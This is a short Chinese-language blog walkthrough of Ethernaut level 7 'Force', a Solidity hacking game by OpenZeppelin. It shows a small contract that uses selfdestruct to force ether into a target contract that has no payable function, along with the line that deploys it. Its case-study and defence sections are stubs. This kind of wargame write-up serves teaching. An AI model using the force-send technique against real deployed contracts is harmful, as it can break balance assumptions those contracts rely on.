# 智能合约黑客攻击 Ethernaut:    7. Force

**Published by:** [Leek DEV](https://paragraph.com/@leekdev/)
**Published on:** 2023-09-26
**URL:** https://paragraph.com/@leekdev/ethernaut-7-force

## Content

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目一个空合约，需要给这个合约里充点 ether。Hack思路一个合约要接受 ether 得一般得有 receive 或者 fallback 方法、除了这2个还有就是某个合约使用 selfdestruct 方法销毁时可以把剩余的ether转到指定合约。// 强制给合约赚钱会被 revert 掉 await sendTransaction({ from: player, to: contract.address , value: toWei("0.0001") }) // 用销毁合约的方式可以跳过这个检查 contract ForceHack { constructor(address payable target) payable { require(msg.value > 0); // forgefmt: disable-next-line selfdestruct(target); } } // 创建合约时记得得带点ether (new ForceHack){ value: 0.1 ether }(payable(levelAddress)); Hack案例…防范思路….参考资料Deactivate and Self-destruct

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